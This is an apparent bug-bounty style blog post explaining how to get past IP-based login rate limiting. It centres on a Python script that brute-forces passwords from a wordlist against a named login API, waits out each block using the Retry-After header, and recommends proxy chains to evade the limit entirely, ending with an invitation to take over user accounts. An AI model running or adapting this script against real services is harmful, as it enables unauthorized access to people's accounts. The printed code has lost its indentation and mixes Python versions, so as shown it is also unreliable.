How I bypassed the api rate limiting protection

A brute force attack is a popular cracking method: by some accounts, brute force attacks accounted for five percent of confirmed security breaches. A brute force attack involves ‘guessing’ username and passwords to gain unauthorized access to a system. Brute force is a simple attack method and has a high success rate  .

Hey guyes today I will tell you how I bypass misconfigured rate limiting protection and from this   victim account can be hijacked by bruteforcing the password .

LETS DESCRIBE :

•     An application like  xyz.com implemented rate limiting protection on login page  on basis  of ip.
•       If any user hit login request 25 times repeatedly then their ip will be blocked for next 10 or 12 seconds.
•      So I created a  python  script to handle this automatically:

import requests
import os
import time
global pastebin_url
import sys

if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print '[-] ' + filename + ' does not exist.'
exit(0)
if not os.access(filename, os.R_OK):
print '[-] ' + filename + ' access denied.'
exit(0)
print '[+] Reading Vulnerabilities From: ' + filename
proxy=['217.23.69.146:8080','79.133.102.251:8080']

API_ENDPOINT =
"https://app-h1.sea.ekoapp.com/api/v1/auth/login"
dictFile = open(filename,'r')
for word in dictFile.readlines():
word = word.strip('\n')
i=0;
data =
{'username':"testinga081146","password":word,"domain":"","deviceId":"webapp2x0c5190bbc-d6e0-46e5-b80e-252bd3e2a9a01580752970136","deviceVersion":"11.8.8","deviceType":"web","deviceModel":"browser","appId":"com.ekoapp.eko","apiVersion":0}
r = requests.post(url = API_ENDPOINT, data = data)
pastebin_url = r.text
print(pastebin_url)
if(pastebin_url=='Rate limit exceeded'):
b =r.headers['Retry-After'];
print(b+"seconds waiting")
time.sleep(float(b))
else:
print(pastebin_url)

•  I used simple  logic in above script:
• This script continuously brute force the  user login by different password.
• When the user ip is blocked  script is sleep for that time . and after this continue.
•  Now you can takeover the user account.
•  Or you can use proxy chain or proxies in your programme to  completely bypass  this.